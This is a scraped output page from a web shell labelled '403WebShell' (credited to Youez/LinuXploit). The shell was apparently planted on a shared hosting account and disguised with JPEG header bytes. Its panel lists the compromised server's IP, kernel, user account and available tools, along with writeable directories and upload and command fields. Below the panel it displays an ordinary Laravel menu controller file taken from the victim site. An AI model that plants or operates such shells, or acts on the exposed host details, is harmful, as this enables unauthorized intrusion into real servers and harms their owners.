����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.133.83.94
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/MenuController.php
<?php

namespace App\Http\Controllers;

use App\Button;
use App\Genre;
use App\Menu;
use App\MenuGenreShow;
use App\MenuSection;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use Yajra\DataTables\Facades\DataTables;


class MenuController extends Controller
{
  
    
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function __construct()
    {
        $this->middleware('permission:menu.view', ['only' => ['index']]);
        $this->middleware('permission:menu.create', ['only' => ['create', 'store']]);
        $this->middleware('permission:menu.edit', ['only' => ['edit', 'update', 'reposition']]);
        $this->middleware('permission:menu.delete', ['only' => ['destroy', 'bulk_delete']]);
    }
    public function index(Request $request)
    {
        $menus = Menu::select('id', 'name', 'slug', 'created_at', 'updated_at')->OrderBy('position', 'ASC')->get();

        if ($request->ajax()) {
            return DataTables::of($menus)
                ->setRowAttr([
                    'data-id' => function($row) {
                        return $row->id;
                    },
                ])
                ->setRowClass('row1 sortable')
                ->addIndexColumn()
                ->addColumn('checkbox', function ($row) {
                    $html = '<div class="inline">
                  <input type="checkbox" form="bulk_delete_form" class="filled-in material-checkbox-input" name="checked[]" value="' . $row->id . '" id="checkbox' . $row->id . '">
                  <label for="checkbox' . $row->id . '" class="material-checkbox"></label>
                </div>';

                    return $html;
                })
                ->addColumn('name', function ($row) {

                    return $row->name;

                })

                ->addColumn('created_at', function ($row) {
                    return date('F d, Y', strtotime($row->created_at));

                })
                ->addColumn('updated_at', function ($row) {
                    return date('F d, Y', strtotime($row->updated_at));

                })

                ->addColumn('action', 'admin.menu.action')
                ->rawColumns(['checkbox', 'name', 'action', 'created_at', 'updated_at'])
                ->make(true);
        }

        return view('admin.menu.index', compact('menus'));
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        $all_genre = Genre::OrderBy('position', 'ASC')->get();
        $topsection = Button::first()->is_toprated;
        return view('admin.menu.create', compact('all_genre', 'topsection'));
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }

        $request->validate([
            'name' => 'required',
            'logo' => 'mimes:png,jpeg,bmp,jpg',
        ]);

        if (!isset($request->section)) {
            $request->validate([
                'section' => 'required',
            ],
                [
                    'section.required' => __('Atleast one section should be checked !'),
                ]
            );
        }

        $input = $request->all();

        $input['position'] = (Menu::count() + 1);

        $input['slug'] = str_slug(strtolower($request->name), '-');

        $menudone = Menu::create($input);

        if ($menudone) {

            foreach ($request->section as $key => $value) {
                if (isset($value)) {
                    $ms = new MenuSection;
                    $ms->menu_id = $menudone->id;
                    $ms->section_id = $value;
                    if (isset($request->limit[$key])) {
                        $ms->item_limit = $request->limit[$key];
                    } else {
                        $ms->item_limit = null;
                    }
                    if (isset($request->view[$key])) {
                        $ms->view = $request->view[$key];
                    } else {
                        $ms->view = 1;
                    }
                    if (isset($request->view[$key])) {
                        $ms->order = $request->order[$key];
                    } else {
                        $ms->order = 1;
                    }
                    $ms->save();
                    if ($ms) {
                        if ($value == 2 && $request->genre_id != null) {
                            foreach ($request->genre_id as $genre) {
                                $ms_show = new MenuGenreShow;
                                $ms_show->menu_id = $menudone->id;
                                $ms_show->menu_section_id = $ms->section_id;
                                $ms_show->genre_id = $genre;

                                $ms_show->save();
                            }

                        }
                    }
                }
            }

        }

        return back()->with('success', __('Menu has been created !'));
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {

        $menu = Menu::findOrFail($id);
        $select_genre = MenuGenreShow::where('menu_id', $menu->id)->get();
        $all_genre = Genre::OrderBy('position', 'ASC')->get();
        $topsection = Button::first()->is_toprated;

        return view('admin.menu.edit', compact('menu', 'select_genre', 'all_genre', 'topsection'));
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }
        $request->validate([
            'name' => 'required',
        ]);

        if (!isset($request->section)) {
            $request->validate([
                'section' => 'required',
            ],
                [
                    'section.required' => __('Atleast one section should be checked !'),
                ]
            );
        }

        $menu = Menu::findOrFail($id);

        $input = $request->all();
        $input['slug'] = str_slug(strtolower($request->name), '-');

        $menudone = $menu->update($input);

        if (isset($menu->menusections)) {
            foreach ($menu->menusections as $section) {
                $section->delete();
            }
        }
        if (isset($menu->menugenreshow)) {

            $menu->menugenreshow()->delete();
        }

        if ($menudone) {

            foreach ($request->section as $key => $value) {
                if (isset($value)) {
                    $ms = new MenuSection;
                    $ms->menu_id = $menu->id;
                    $ms->section_id = $value;
                    if (isset($request->limit[$key])) {
                        $ms->item_limit = $request->limit[$key];
                    } else {
                        $ms->item_limit = null;
                    }
                    if (isset($request->view[$key])) {
                        $ms->view = $request->view[$key];
                    } else {
                        $ms->view = 1;
                    }
                    if (isset($request->view[$key])) {
                        $ms->order = $request->order[$key];
                    } else {

                        $ms->order = 1;
                    }
                    $ms->save();
                    if ($ms) {
                        if ($value == 2 && $request->genre_id != null) {

                            foreach ($request->genre_id as $genre) {

                                MenuGenreShow::firstOrCreate(
                                    [
                                        'menu_id' => $menu->id,
                                        'menu_section_id' => $ms->section_id,
                                        'genre_id' => $genre,
                                    ]
                                );

                            }

                        }
                    }
                }
            }

        }

        return redirect('admin/menu')->with('success', __('Menu has been updated'));
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }
        $menu = Menu::findOrFail($id);
        try {
            if ($menu != null) {
                if (isset($menu->menusections)) {
                    $menu->menusections()->delete();
                }
                if (isset($menu->menugenreshow)) {
                   
                    $menu->menugenreshow()->delete();
                }
            }
            $menu->delete();
            return back()->with('deleted', __('Menu has been deleted'));
        } catch (\Exception $e) {
            return back()->with('deleted', $e->getMessage());
        }

    }

    public function reposition(Request $request)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }
        if($request->ajax()){

            $posts = Menu::all();
            foreach ($posts as $post) {
                foreach ($request->order as $order) {
                    if ($order['id'] == $post->id) {
                        \DB::table('menus')->where('id',$post->id)->update(['position' => $order['position']]);
                    }
                }
            }
            return response()->json('Update Successfully.', 200);

        }

       
    }

    public function bulk_delete(Request $request)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }
        $validator = Validator::make($request->all(), [
            'checked' => 'required',
        ]);
        if ($validator->fails()) {
            return back()->with('deleted', __('Please select one of them to delete'));
        }
        foreach ($request->checked as $checked) {
            $menu = Menu::findOrFail($checked);
            if ($menu != null) {
                if (isset($menu->menusections)) {
                    $menu->menusections()->delete();
                }
                if (isset($menu->menugenreshow)) {

                    $menu->menugenreshow()->delete();
                }
            }

            $menu->delete();
        }
        return back()->with('deleted', __('Menus has been deleted'));
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit